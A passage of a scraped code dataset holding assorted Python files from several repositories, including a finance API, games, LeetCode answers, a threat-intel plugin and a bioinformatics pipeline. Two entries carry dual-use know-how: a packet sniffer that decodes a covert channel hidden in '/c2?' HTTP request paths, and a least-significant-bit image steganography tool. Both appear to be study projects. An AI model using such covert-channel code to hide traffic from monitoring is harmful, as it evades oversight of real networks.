.where(SavePointModel.datetime < event_time)\n            .order_by(desc(SavePointModel.datetime))\n        )\n    ).first()\n\n    if not query:  # earliest savepoint\n        savepoint = await create_account_entry(\n            session,\n            SavePointModel,\n            user_id=user_id,\n            account_id=account_id,\n            datetime=month_start,\n            total=0,\n        )\n        session.add(savepoint)\n    elif query[0].datetime < month_start:  # new savepoint\n        query = await session.execute(\n            select(EventModel.diff)\n            .where(EventModel.user_id == user_id)\n            .where(EventModel.account_id == account_id)\n            .where(EventModel.event_time >= savepoint.datetime)\n            .where(EventModel.event_time < month_start)\n        )\n\n        savepoint = await create_account_entry(\n            session,\n            SavePointModel,\n            user_id=user_id,\n            account_id=account_id,\n            datetime=month_start,\n            total=savepoint.total + sum(diff for (diff,) in query.all()),\n        )\n        session.add(savepoint)\n\n\nasync def _update_latter_savepoints(\n    session: AsyncSession, user_id, account_id, event_time: dt.datetime, diff\n):\n    savepoints = (\n        await session.execute(\n            select(SavePointModel)\n            .where(SavePointModel.user_id == user_id)\n            .where(SavePointModel.account_id == account_id)\n            .where(SavePointModel.datetime >= event_time)\n        )\n    ).all()\n    for (savepoint,) in savepoints:\n        savepoint.total += diff\n\n\nclass EventData(BaseModel):\n    account_id: int\n    category_id: int\n    event_time: int\n    diff: int\n    description: str\n\n\n@router.post(\"/create_event\")\nasync def create_event(\n    event_data: EventData,\n    current_user: UserModel = Depends(authorized_user),\n    async_session: sessionmaker = Depends(get_session),\n):\n    \"\"\"Request to create new event.\"\"\"\n    event_time = dt.datetime.fromtimestamp(event_data.event_time)\n    session: AsyncSession\n    async with async_session() as session:\n        event: EventModel = await create_account_entry(\n            session,\n            EventModel,\n            user_id=current_user.id,\n            account_id=event_data.account_id,\n            category_id=event_data.category_id,\n            event_time=event_time,\n            diff=event_data.diff,\n            description=event_data.description,\n        )\n        session.add(event)\n        await _update_or_create_savepoint(\n            session, current_user.id, event_data.account_id, event_time\n        )\n        await _update_latter_savepoints(\n            session,\n            current_user.id,\n            event_data.account_id,\n            event_time,\n            event_data.diff,\n        )\n        await session.commit()\n    return {\"status\": \"OK\", \"event\": event.to_dict()}\n\n\nclass GetEventsRequest(BaseModel):\n    account_id: int\n    start_time: int | None = None\n    end_time: int | None = None\n\n\n@router.post(\"/get_events\")\nasync def get_events(\n    request: GetEventsRequest,\n    current_user: UserModel = Depends(authorized_user),\n    async_session: sessionmaker = Depends(get_session),\n):\n    \"\"\"Get all events user has.\"\"\"\n    query = (\n        select(EventModel)\n        .where(EventModel.user_id == current_user.id)\n        .where(EventModel.account_id == request.account_id)\n    )\n    if request.start_time:\n        query = query.where(\n            EventModel.event_time\n            > dt.datetime.fromtimestamp(request.start_time)\n        )\n    if request.end_time:\n        query = query.where(\n            EventModel.event_time < dt.datetime.fromtimestamp(request.end_time)\n        )\n    session: AsyncSession\n    async with async_session() as session:\n        events = await session.execute(query)\n        return {\n            \"status\": \"OK\",\n            \"events\": [event.to_dict() for (event,) in events.all()],\n        }\n\n\nclass EditEventRequest(BaseModel):\n    event_id: int\n    account_id: int\n    category_id: int\n    event_time: int\n    diff: int\n    description: str\n\n\n@router.post(\"/edit_event\")\nasync def edit_event(\n    request: EditEventRequest,\n    current_user: UserModel = Depends(authorized_user),\n    async_session: sessionmaker = Depends(get_session),\n):\n    \"\"\"Request to edit event.\"\"\"\n    session: AsyncSession\n    async with async_session() as session:\n        event: EventModel = await session.get(\n            EventModel,\n            (current_user.id, request.account_id, request.event_id),\n        )\n        if event is None:\n            raise LogicException(\"no such event\")\n\n        event_time = dt.datetime.fromtimestamp(request.event_time)\n        old_event_time: dt.datetime = event.event_time\n        old_diff = event.diff\n\n        event.category_id = request.category_id\n        event.event_time = event_time\n        event.diff = request.diff\n        event.description = request.description\n\n        if old_event_time != event_time:\n            await _update_latter_savepoints(\n                session,\n                current_user.id,\n                event.account_id,\n                old_event_time,\n                -request.diff,\n            )\n            await _update_or_create_savepoint(\n                session, current_user.id, event.account_id, event_time\n            )\n            await _update_latter_savepoints(\n                session,\n                current_user.id,\n                event.account_id,\n                event_time,\n                request.diff,\n            )\n        elif old_diff != request.diff:\n            await _update_latter_savepoints(\n                session,\n                current_user.id,\n                event.account_id,\n                event_time,\n                request.diff - old_diff,\n            )\n        await session.commit()\n\n    return {\"status\": \"OK\", \"event\": event.to_dict()}\n\n\nclass DeleteEventRequest(BaseModel):\n    account_id: int\n    event_id: int\n\n\n@router.post(\"/delete_event\")\nasync def delete_event(\n    request: DeleteEventRequest,\n    current_user: UserModel = Depends(authorized_user),\n    async_session: sessionmaker = Depends(get_session),\n):\n    \"\"\"Delete existing event.\"\"\"\n    session: AsyncSession\n    async with async_session() as session:\n        async with session.begin():\n            event: EventModel = await session.get(\n                EventModel,\n                (current_user.id, request.account_id, request.event_id),\n            )\n            if event is None:\n                raise LogicException(\"no such event\")\n\n            await session.delete(event)\n            # TODO remove savepoint if event is a last one\n            await _update_latter_savepoints(\n                session,\n                current_user.id,\n                event.account_id,\n                event.event_time,\n                -event.diff,\n            )\n\n    return {\"status\": \"OK\", \"event\": event.to_dict()}\n\n\nclass GetBalanceRequest(BaseModel):\n    account_id: int\n    timestamp: int\n\n\n@router.post(\"/get_balance\")\nasync def get_balance(\n    request: GetBalanceRequest,\n    current_user: UserModel = Depends(authorized_user),\n    async_session: sessionmaker = Depends(get_session),\n):\n    \"\"\"Get balance on certain account at certain time.\"\"\"\n    timepoint = dt.datetime.fromtimestamp(request.timestamp)\n\n    session: AsyncSession\n    async with async_session() as session:\n        query = (\n            await session.execute(\n                select(SavePointModel)\n                .where(SavePointModel.user_id == current_user.id)\n                .where(SavePointModel.account_id == request.account_id)\n                .where(SavePointModel.datetime <= timepoint)\n                .order_by(desc(SavePointModel.datetime))\n            )\n        ).first()\n\n        print(\"!\", query)\n\n        if not query:\n            return {\"status\": \"OK\", \"balance\": 0}\n\n        (savepoint,) = query\n        query = await session.execute(\n            select(EventModel.diff)\n            .where(EventModel.user_id == current_user.id)\n            .where(EventModel.account_id == request.account_id)\n            .where(EventModel.event_time >= savepoint.datetime)\n            .where(EventModel.event_time < timepoint)\n        )\n    return {\n        \"status\": \"OK\",\n        \"balance\": savepoint.total + sum(diff for (diff,) in query.all()),\n    }\n\n\nasync def get_category_total(\n    session: AsyncSession, account_id, category_id, start_time, end_time\n):\n    \"\"\"\n    Get total income for given time in given category.\n\n    start_time and end_time are both datetime.\n    \"\"\"\n    query = await session.execute(\n        select(EventModel.diff)\n        .where(EventModel.account_id == account_id)\n        .where(EventModel.category_id == category_id)\n        .where(EventModel.event_time >= start_time)\n        .where(EventModel.event_time < end_time)\n    )\n    return sum(diff for (diff,) in query.all())\n","repo_name":"GreenBlackSky/COIN","sub_path":"api_service/app/event.py","file_name":"event.py","file_ext":"py","file_size_in_byte":9955,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"71867376055","text":"from bitstring import Bits\nfrom PIL import Image\nimport argparse\n\nargument_parser = argparse.ArgumentParser(\n    description=\"This tool allows you to read hidden messages from images. Use the -m argument to hide the message\"\n                \" into the image instead.\")\nargument_parser.add_argument(\"filename\", help=\"filename of the image you want to process\", type=str)\nargument_parser.add_argument(\"-m\", \"--message\", help=\"the message you want to hide into the image\", type=str)\n\nargs = argument_parser.parse_args()\n\nimage = Image.open(args.filename)\nwidth, height = image.size\n\n# hide message\nif args.message is not None:\n    message_bytes = bytes(args.message, encoding='utf-8')\n\n    byte_capacity = width * height * 3 // 8  # how many bytes can be hidden into the image\n    if byte_capacity < len(message_bytes):\n        print(\"The message is too long to fit into the image.\")\n        exit(1)\n\n    # convert the message bytes into a string of ones and zeros\n    bits = \"\"\n    for byte in message_bytes:\n        bits += Bits(int=byte, length=9)[1:].bin\n\n    # end sequence - byte of ones is invalid utf-8 byte\n    # the zero in the beginning is there to prevent the end sequence merging with the previous byte that might be ending\n    # with a one\n    bits += \"011111111\"\n\n    # a little performance optimization - no need to iterate over the image pixels after the message was hidden\n    finished_writing = False\n\n    writing_bit_index = 0\n    for x in range(0, width):\n        for y in range(0, height):\n            pixel_to_update = list(image.getpixel((x, y)))  # iterating over pixels in the image\n            for rgb in range(0, 3):  # pixel is represented as [int(red),int(green),int(blue)] - iterate over the colors\n                if writing_bit_index < len(bits):  # performance optimization\n                    # change the last bit of the color to the bit at writing_bit_index\n                    pixel_to_update[rgb] = pixel_to_update[rgb] & ~1 | int(bits[writing_bit_index])\n\n                    writing_bit_index += 1\n                else:\n                    finished_writing = True\n                    break\n            image.putpixel((x, y), tuple(pixel_to_update))  # save the change to the pixel\n            if finished_writing:\n                break\n        if finished_writing:\n            break\n\n    image.save(args.filename, \"PNG\")  # save the image\n\n# show message\nelse:\n    bits = \"\"\n    for x in range(0, width):\n        for y in range(0, height):\n            pixel = list(image.getpixel((x, y)))  # iterating over the pixels in the image\n            for rgb in range(0, 3):\n                bits += str(pixel[rgb] & 1)  # read the last bit of the colors\n\n    # find the end sequence and remove the zero that prevented merging with the previous byte\n    bits = bits.split(\"11111111\", 1)[0][:-1]\n\n    # convert the string of ones and zeros to bytes\n    decode_byte_array = int(bits, 2).to_bytes((len(bits) + 7) // 8, byteorder='big')\n\n    print(decode_byte_array.decode(\"utf-8\"))  # convert the bytes to string\n","repo_name":"kokolem/pysteganography","sub_path":"steganography.py","file_name":"steganography.py","file_ext":"py","file_size_in_byte":3039,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"86763166772","text":"import pygame\n\nclass ScoreBoard:\n    \"\"\"Background for ScoreBoard screen.\"\"\"\n\n    def __init__(self, MainInstance):\n        \"\"\"Basic values and image loading.\"\"\"\n\n        # References\n        self.screen = MainInstance.screen\n        self.settings = MainInstance.settings\n\n        # Load the images\n        self.zero = pygame.image.load('Images/Numbers/0.png').convert_alpha()\n        self.one = pygame.image.load('Images/Numbers/1.png').convert_alpha()\n        self.two = pygame.image.load('Images/Numbers/2.png').convert_alpha()\n        self.three = pygame.image.load('Images/Numbers/3.png').convert_alpha()\n        self.four = pygame.image.load('Images/Numbers/4.png').convert_alpha()\n        self.five = pygame.image.load('Images/Numbers/5.png').convert_alpha()\n        self.six = pygame.image.load('Images/Numbers/6.png').convert_alpha()\n        self.seven = pygame.image.load('Images/Numbers/7.png').convert_alpha()\n        self.eight = pygame.image.load('Images/Numbers/8.png').convert_alpha()\n        self.nine = pygame.image.load('Images/Numbers/9.png').convert_alpha()\n\n        # Values dict\n        self.score_dict = {0: self.zero, 1: self.one, 2: self.two, 3: self.three, 4: self.four,\n                           5: self.five, 6: self.six, 7: self.seven, 8: self.eight, 9: self.nine}\n        self.basic_rect = self.zero.get_rect()\n        self.screen_center = self.screen.get_rect().center\n\n        # Basic call for default score of 0\n        self._determine_score(self.settings.dynamic_score)\n\n\n    def _determine_score(self, score):\n        # Function to determine the score\n\n        # Create a surface\n        self.surface = pygame.Surface(((self.basic_rect.width + 5) * len(str(score)), \\\n            self.basic_rect.height), pygame.SRCALPHA)\n        self.surface_rect = self.surface.get_rect()\n\n        # Blit each score number onto surface\n        for number, score_val in enumerate(str(score)):\n            value = self.score_dict[int(score_val)]\n            self.basic_rect.x = ((self.basic_rect.width + 5) * number)\n            self.surface.blit(value, self.basic_rect)\n\n        # Determine rect of surface\n        self.surface_rect.center = self.screen_center\n        self.surface_rect.y = self.settings.scoreboard_gap\n\n\n    def draw_score(self):\n        # Draw the actual scoreboard to game screen\n        self._determine_score(self.settings.dynamic_score)\n        self.screen.blit(self.surface, self.surface_rect)\n","repo_name":"testing99990011/Flappy_bird_game","sub_path":"Python Files/Flappy_Scoreboard.py","file_name":"Flappy_Scoreboard.py","file_ext":"py","file_size_in_byte":2438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"28271620729","text":"\n\"\"\"\n\nFind the total area covered by two rectilinear rectangles in a 2D plane.\n\nEach rectangle is defined by its bottom left corner and top right corner as shown in the figure.\n\nRectangle Area\nAssume that the total area is never beyond the maximum possible value of int.\n\n\"\"\"\n\n### beat 88%\nclass Solution(object):\n    def computeArea(self, A, B, C, D, E, F, G, H):\n        \"\"\"\n        :type A: int\n        :type B: int\n        :type C: int\n        :type D: int\n        :type E: int\n        :type F: int\n        :type G: int\n        :type H: int\n        :rtype: int\n        \"\"\"\n        area1 = (C-A)*(D-B)\n        area2 = (H-F)*(G-E)\n        side1 = self.computeSide(A, C, E, G)\n        side2 = self.computeSide(B, D, F, H)\n        return area1+area2-side1*side2\n    \n    def computeSide(self,a,b,c,d):\n        if d < a or c > b:\n            return 0\n        elif c > a and d <= b:\n            return d-c\n        elif c <= a and d <= b:\n            return d-a\n        elif c <= a and d > b:\n            return b-a    \n        else:\n            return b-c\n    \n\nclass Solution(object):\n    def computeArea(self, A, B, C, D, E, F, G, H):\n        \"\"\"\n        :type A: int\n        :type B: int\n        :type C: int\n        :type D: int\n        :type E: int\n        :type F: int\n        :type G: int\n        :type H: int\n        :rtype: int\n        \"\"\"\n        area1 = (C-A)*(D-B)\n        area2 = (H-F)*(G-E)\n        commonarea = max(0, min(C,G)-max(A,E))*max(0, min(D,H)-max(B,F))\n        return area1+area2-commonarea\n    \n\n","repo_name":"sharonLuo/LeetCode_py","sub_path":"rectangle-area.py","file_name":"rectangle-area.py","file_ext":"py","file_size_in_byte":1520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"11872759343","text":"import pyshark \nimport os\nimport binascii\nimport sys\ncapture = pyshark.LiveCapture(interface='lo', display_filter='http', only_summaries=False)\nmessage=[]\ncount= 0\ncheck =[]\nstart=False\nfor packet in capture.sniff_continuously():\n    #GET /c2?4157 HTTP/1.1\\r\\n\n    packet=str(packet)\n    try:\n        data=packet.split(\"GET \")[1].split(\" \")[0].split(\"/c\")[1].split(\"?\")[0]\n        check.append(data) \n        if(len(check)==6 and check=='2D2D2D'): \n            start=True \n            check =[]\n        elif(len(check)==6 and check=='2D2E2D'):\n            break\n        if(start):\n            count += 1 \n            message.append(data)\n            mess=''.join(message)\n            if(count==2):\n                os.system(\"clear\")\n                newmess = binascii.unhexlify(mess).decode()\n                print(newmess)\n                count = 0\n    except:\n        continue\ncapture.close()\nexit()\n","repo_name":"McSloats/HTTP_Covert_Channel","sub_path":"CCFinal/src/reader.py","file_name":"reader.py","file_ext":"py","file_size_in_byte":902,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"19564203537","text":"import json\nimport traceback\nimport json\nimport requests\n\nfrom tasks.api_keys import KeyRing\nfrom server.entities.plugin_manager import PluginManager\nfrom server.entities.resource_types import ResourceType\nfrom tasks.tasks import celery_app\nfrom server.entities.plugin_result_types import PluginResultStatus\n\n\n# Which resources are this plugin able to work with\nRESOURCE_TARGET = [ResourceType.IPv4, ResourceType.DOMAIN]\n\n# Plugin Metadata {a description, if target is actively reached and name}\nPLUGIN_AUTOSTART = False\nPLUGIN_DESCRIPTION = (\n    \"Lookup onyphe.io wether this IP or Domain is included in threatlists\"\n)\nPLUGIN_IS_ACTIVE = False\nPLUGIN_DISABLE = False\nPLUGIN_NAME = \"onyphe\"\nPLUGIN_NEEDS_API_KEY = True\n\nAPI_KEY = KeyRing().get(\"onyphe\")\nAPI_KEY_IN_DDBB = bool(API_KEY)\nAPI_KEY_DOC = \"https://www.onyphe.io/documentation/api\"\nAPI_KEY_NAMES = [\"onyphe\"]\n\n\nclass Plugin:\n    def __init__(self, resource, project_id):\n        self.project_id = project_id\n        self.resource = resource\n\n    def do(self):\n        resource_type = self.resource.get_type()\n\n        try:\n            to_task = {\n                \"resource\": self.resource.get_data()[\"canonical_name\"],\n                \"resource_id\": self.resource.get_id_as_string(),\n                \"project_id\": self.project_id,\n                \"resource_type\": resource_type.value,\n                \"plugin_name\": PLUGIN_NAME,\n            }\n            onyphe.delay(**to_task)\n\n        except Exception as e:\n            tb1 = traceback.TracebackException.from_exception(e)\n            print(\"\".join(tb1.format()))\n\n\n@celery_app.task\ndef onyphe(plugin_name, project_id, resource_id, resource_type, resource):\n    result_status = PluginResultStatus.STARTED\n    query_result = None\n\n    try:\n        API_KEY = KeyRing().get(\"onyphe\")\n        if not API_KEY:\n            print(\"No API key...!\")\n            result_status = PluginResultStatus.NO_API_KEY\n\n        else:\n            url = \"\"\n            headers = {\n                \"Authorization\": f\"apikey {API_KEY}\",\n                \"Content-Type\": \"application/json\",\n            }\n\n            if resource_type == \"domain\":\n                url = f\"https://www.onyphe.io/api/v2/summary/domain/{resource}\"\n            elif resource_type == \"ip\":\n                url = f\"https://www.onyphe.io/api/v2/summary/ip/{resource}\"\n\n            query_result = requests.get(url, headers=headers)\n\n            if query_result.status_code == 200:\n                json_results = query_result.json()\n\n                if json_results[\"results\"] == []:\n                    result_status = PluginResultStatus.RETURN_NONE\n                else:\n                    query_result = json_results[\"results\"]\n                    result_status = PluginResultStatus.COMPLETED\n\n            else:\n                result_status = PluginResultStatus.FAILED\n\n        PluginManager.set_plugin_results(\n            resource_id, plugin_name, project_id, query_result, result_status\n        )\n\n    except Exception as e:\n        tb1 = traceback.TracebackException.from_exception(e)\n        print(\"\".join(tb1.format()))\n","repo_name":"ElevenPaths/thethe_server","sub_path":"server/plugins/onyphe.py","file_name":"onyphe.py","file_ext":"py","file_size_in_byte":3093,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"22"}
+{"seq_id":"34356537919","text":"# Syed Khurshid, SID:010081191\n\n\n# Creating a HashTable class using chaining\n# -> O(N)\nclass HashingData:\n    # Constructor with optional initial capacity parameter\n    # Buckets are assigned to an empty list -> O(N)\n    def __init__(self, initial_capacity=10):\n        self.data = []\n        for _ in range(initial_capacity):\n            self.data.append([])\n\n    # Generating hash-key which is a O(1)\n    def hash_key_generator(self, key):\n        return hash(key) % len(self.data)\n\n    # Inserting a new item into the hash table -> O(N)\n    def insert(self, key, item):\n        Hkey = self.hash_key_generator(key)\n        # First to check if the Hash Key does exist of not\n        if self.data[Hkey] == None:\n            self.data[Hkey] = [key, item]\n            return True  # End the function to continue to add more later\n        else:\n            for keyValue in self.data[Hkey]:\n                if keyValue[0] == key:\n                    keyValue[1] = item\n                    return True\n\n            self.data[Hkey].append([key, item])\n            return True\n\n    # Searching for an item with matching key in the hash table\n    # Returns the item if not found, or None if not found -> O(N)\n    def search(self, key):\n        # get the bucket list where the key is located\n        Hkey = self.hash_key_generator(key)\n        # In case the key doesn't exist\n        if self.data[Hkey] != None:\n            for items in self.data[Hkey]:\n                if items[0] == key:\n                    return items[1]\n            return None\n\n    # Removes an item with matching key from hash table. -> O(N)\n    def delete(self, key):\n        Hkey = self.hash_key_generator(key)\n        bucket_list = self.data[Hkey]\n        if self.data[Hkey] == None:\n            return False\n        else:\n            for keyValue in bucket_list:\n                if keyValue[0] == key:\n                    bucket_list.remove(keyValue[0], keyValue[1])\n                    return True\n            return False\n\n    # To Update the item in a key -> O(N)\n    def update(self, key, value):\n        Hkey = self.hash_key_generator(key)\n        # Now to search for hashed line item if its been found or not\n        if self.data[Hkey] != None:\n            # Now  if they match then we update the second list in the data\n            for items in self.data[Hkey]:\n                if items[0] == key:\n                    items[1] = value\n                    return True  # This should stop any further updates\n        # In case the key doesn't match\n        return None\n\n    # This is to get the self table -> O(1)\n    def get_hash_Table(self):\n        return self.data\n","repo_name":"kurogosane1/WGU_C950-Version2-","sub_path":"hashingData.py","file_name":"hashingData.py","file_ext":"py","file_size_in_byte":2643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"9361232597","text":"# импорт модели объекта\r\nfrom gameobject import GameObject\r\n\r\n# импорт дополнительных объектов\r\nfrom objects import *\r\n\r\n# импорт дополнительных функций\r\nfrom functions import *\r\n\r\n\r\nclass Map:\r\n    \"\"\"\r\n    Инициализация и логика работы карты уровня.\r\n    \"\"\"\r\n\r\n    def __init__(self, path: str, name: str, ground_color: str) -> None:\r\n        self.map = load_map(path, name)  # загрузка карты из текстового фала\r\n        self.height, self.width, self.tile_size = 0, 0, 0  # инициализация переменных\r\n        self.level = 1  # текущий уровень\r\n\r\n        # спрайты\r\n        self.crates = crates  # ящики\r\n        self.install_locations = install_locations  # места для установки ящиков\r\n        self.blocks = blocks  # стены\r\n        self.ground = ground  # земля\r\n\r\n        # группы спрайтов\r\n        self.crates_group = pygame.sprite.Group()  # ящики\r\n        self.install_locations_group = pygame.sprite.Group()  # места для установки ящиков\r\n        self.blocks_group = pygame.sprite.Group()  # стены\r\n        self.ground_group = pygame.sprite.Group()  # земля\r\n\r\n        # соотнесение чисел в текстовом файле карты уровня и объектов в игре\r\n        self.number_guide = \\\r\n            {1: [self.blocks_group, self.blocks, 'gray', 'block'],  # стены: 1-4\r\n             2: [self.blocks_group, self.blocks, 'brown', 'block'],\r\n             3: [self.blocks_group, self.blocks, 'red', 'block'],\r\n             4: [self.blocks_group, self.blocks, 'd_red', 'block'],\r\n\r\n             5: [self.crates_group, self.crates, 'gray', 'crate'],  # ящики: 5-14\r\n             6: [self.crates_group, self.crates, 'brown', 'crate'],\r\n             7: [self.crates_group, self.crates, 'red', 'crate'],\r\n             8: [self.crates_group, self.crates, 'blue', 'crate'],\r\n             9: [self.crates_group, self.crates, 'green', 'crate'],\r\n             10: [self.crates_group, self.crates, 'd_gray', 'crate'],\r\n             11: [self.crates_group, self.crates, 'd_brown', 'crate'],\r\n             12: [self.crates_group, self.crates, 'd_red', 'crate'],\r\n             13: [self.crates_group, self.crates, 'd_blue', 'crate'],\r\n             14: [self.crates_group, self.crates, 'd_green', 'crate'],\r\n\r\n             15: [self.install_locations_group, self.install_locations, 'gray', 'install'],  # установка ящиков: 15-19\r\n             16: [self.install_locations_group, self.install_locations, 'brown', 'install'],\r\n             17: [self.install_locations_group, self.install_locations, 'red', 'install'],\r\n             18: [self.install_locations_group, self.install_locations, 'blue', 'install'],\r\n             19: [self.install_locations_group, self.install_locations, 'green', 'install']}\r\n\r\n        # список размещенных на карте объектов (их классы) кроме земли и мест для установки ящиков\r\n        self.objects_list = list()\r\n\r\n        # список координат каждого места для установки ящика\r\n        self.install_locations_list = list()\r\n\r\n        # список уже установленных ящиков\r\n        self.installed_crates = list()\r\n\r\n        self.update_map(path, name, ground_color)\r\n\r\n        # звуки\r\n        self.crate_installed_sound = pygame.mixer.Sound(os.path.join('assets/sound', 'installed.wav'))\r\n        self.crate_installed_sound.set_volume(0.2)\r\n\r\n    def kill_sprites(self) -> None:\r\n        \"\"\"\r\n        Удалить все спрайты.\r\n        \"\"\"\r\n        for i in self.crates_group:\r\n            i.kill()\r\n        for i in self.install_locations_group:\r\n            i.kill()\r\n        for i in self.blocks_group:\r\n            i.kill()\r\n        for i in self.ground_group:\r\n            i.kill()\r\n\r\n    def update_map(self, path: str, name: str, ground_color: str) -> None:\r\n        \"\"\"\r\n        Обновить карту (перейти на другой уровень).\r\n        \"\"\"\r\n        self.map = load_map(path, name)\r\n        self.level = name.split('.')[0][-1]\r\n        self.kill_sprites()\r\n        self.objects_list = list()\r\n        self.install_locations_list = list()\r\n        self.init_map(ground_color)\r\n\r\n    def init_map(self, ground_color: str) -> None:\r\n        \"\"\"\r\n        Инициализировать новую карту: создать все спрайты.\r\n        \"\"\"\r\n        self.height = len(self.map)\r\n        self.width = len(self.map[0])\r\n        self.tile_size = 64\r\n\r\n        for y in range(self.height):\r\n            for x in range(self.width):\r\n                if self.map[y][x] != 0:\r\n                    a = self.number_guide[self.map[y][x]]\r\n                    if a[3] == 'install':\r\n                        GameObject(a[0], a[1], a[2], a[3], x, y)\r\n                        self.install_locations_list.append([(x, y), a[2]])\r\n                        self.change_map((x, y), 0)\r\n                    else:\r\n                        self.objects_list.append(GameObject(a[0], a[1], a[2], a[3], x, y))\r\n                GameObject(self.ground_group, self.ground, ground_color, 'ground', x, y)\r\n\r\n    def change_map(self, pos: tuple, value: int) -> None:\r\n        \"\"\"\r\n        Изменение значения в позиции *pos* на *value* в главной переменной класса.\r\n        \"\"\"\r\n        self.map[pos[1]][pos[0]] = value\r\n\r\n    def change_sprite_pos(self, pos1: tuple, pos2: tuple) -> None:\r\n        \"\"\"\r\n        Изменить позицию у определенного спрайта на карте.\r\n        \"\"\"\r\n        for i in self.objects_list:\r\n            if i.get_pos() == pos1:\r\n                i.set_pos(pos2)\r\n\r\n    def get_sprite_type(self, pos: tuple) -> str:\r\n        \"\"\"\r\n        Получить тип спрайта (земля, стена...).\r\n        \"\"\"\r\n        for i in self.objects_list:\r\n            if i.get_pos() == pos:\r\n                return i.get_type()\r\n\r\n    def check_free(self, x: int, y: int) -> bool:\r\n        \"\"\"\r\n        Проверяет, свободен ли заданный участок\r\n        \"\"\"\r\n        if self.map[y][x] == 0:\r\n            return True\r\n        return False\r\n\r\n    def move_crate(self, crate_pos: tuple, x: int, y: int) -> tuple:\r\n        \"\"\"\r\n        Возв��ащает координаты перемещенного ящика, если возможно совершить это действие.\r\n        \"\"\"\r\n        if self.get_sprite_type((crate_pos[0], crate_pos[1])) == 'crate':\r\n            if self.check_free(crate_pos[0] + x, crate_pos[1] + y):\r\n                return crate_pos[0] + x, crate_pos[1] + y\r\n        return -1, -1\r\n\r\n    def check_installed(self) -> bool:\r\n        \"\"\"\r\n        Добавляет все ящики, расположенные на правильных местах, в список. Возвращает True, если ВСЕ ящики расположены\r\n        на правильных местах.\r\n        \"\"\"\r\n        a = len(self.installed_crates)\r\n        self.installed_crates = list()\r\n        for i in self.objects_list:\r\n            for j in self.install_locations_list:\r\n                if i.get_pos() == j[0] and i.get_color() == j[1]:\r\n                    self.installed_crates.append(i)\r\n        if len(self.installed_crates) > a:\r\n            self.crate_installed_sound.play()\r\n        if len(self.installed_crates) == len(self.install_locations_list):\r\n            return True\r\n        return False\r\n","repo_name":"Merlyan0/Sokoban","sub_path":"map.py","file_name":"map.py","file_ext":"py","file_size_in_byte":7829,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"5903243066","text":"# Keep the header open in the left pane\nimport sublime\nimport sublime_plugin\n\nimport os.path\n\nclass HeaderAssistant(sublime_plugin.WindowCommand):\n    def run(self):\n        fullname = os.path.basename(self.window.active_view().file_name())\n        basename, extension = os.path.splitext(fullname)\n\n        # File extension mappings\n        mappings = { \".cpp\": \".h\", \".h\": \".cpp\" }\n        if extension in mappings:\n            search = basename + mappings[extension]\n        else:\n            search = basename\n\n        self.window.run_command(\"show_overlay\", args={\n            \"overlay\": \"goto\",\n            \"show_files\": True,\n            \"text\": search\n        })\n","repo_name":"315234/HeaderAssistant","sub_path":"HeaderAssistant.py","file_name":"HeaderAssistant.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"21283619435","text":"import requests\nimport sys\nfrom contextlib import contextmanager\nimport subprocess\nimport io\nfrom functools import wraps\nimport pprint\nimport itertools\nimport xml.etree.ElementTree\n\nimport drawSvg as draw # pip install drawSvg\n\nserver = 'http://rest.ensembl.org'\n\n@contextmanager\ndef get(path, **headers):\n\tr = requests.get(path, headers=headers)\n\tif not r.ok:\n\t\tprint('ensembl API unavailable')\n\t\tr.raise_for_status()\n\tyield r\n\n\n@contextmanager\ndef run(*process, stdin=''):\n\tp = subprocess.run(process, input=stdin, capture_output=True, text=True)\n\tif p.returncode != 0:\n\t\tprint(p.stderr)\n\t\tp.check_returncode()\n\tyield p.stdout\n\n\ndef fasta(taxon, species, chromosome, start, end):\n\twith get(f'{server}/sequence/region/{species}/{chromosome}:{start}..{end}:1?', content_type='text/x-fasta') as r:\n\t\treturn r.text\n\n\ndef fetch_genes(taxon, species, chromosome, start, end):\n\twith get(f'{server}/overlap/region/{species}/{chromosome}:{start}..{end}:1?feature=gene', content_type='application/json') as r:\n\t\treturn r.json()\n\n\ndef fetch_transcript(gene):\n\twith get(f'https://www.uniprot.org/uniprot?query={gene}&format=xml') as r:\n\t\txmlContent = xml.etree.ElementTree.fromstring(r.text)\n\t\treturn xmlContent.findall(\".//*[@type='EnsemblBacteria']/*[@type='protein sequence ID']\")[0].get('value')\n\n\ndef on_adler(command, fasta):\n\twith run('ssh', 'Adler', command, stdin=fasta) as output:\n\t\treturn output\n\n\ndef run_fgs(fasta):\n\treturn on_adler(('/data/felix/FragGeneScanPlusPlus/FGSpp -s stdin -o stdout -w 0 -r \"/data/felix/FragGeneScanPlusPlus/train\" -t \"illumina_10\" -p 16 -c 240 |'\n\t                 '~/.cargo/bin/umgap prot2kmer2lca -o /data/felix/database/2020-12-02/ninemer.fst |'\n\t                 \"sed 's/^0$/1/' |\" # no match means root\n\t                 '~/.cargo/bin/umgap taxonomy -a -H /data/felix/database/2020-12-02/taxons.tsv' # get full taxonomy\n\t                ), fasta)\n\n\ndef run_fgsrs(fasta):\n\treturn on_adler(('~/.cargo/bin/FragGeneScanRs -r \"/data/felix/frag_gene_scan_rs/train\" -t \"illumina_10\" |'\n\t                 '~/.cargo/bin/umgap prot2kmer2lca -o /data/felix/database/2020-12-02/ninemer.fst |'\n\t                 \"sed 's/^0$/1/' |\" # no match means root\n\t                 '~/.cargo/bin/umgap taxonomy -a -H /data/felix/database/2020-12-02/taxons.tsv' # get full taxonomy\n\t                ), fasta)\n\n\ndef run_6ft(fasta):\n\treturn on_adler(('~/.cargo/bin/umgap translate -a -n |'\n\t                 '~/.cargo/bin/umgap prot2kmer2lca -o /data/felix/database/2020-12-02/ninemer.fst |'\n\t                 \"sed 's/^0$/1/' |\" # no match means root\n\t                 '~/.cargo/bin/umgap 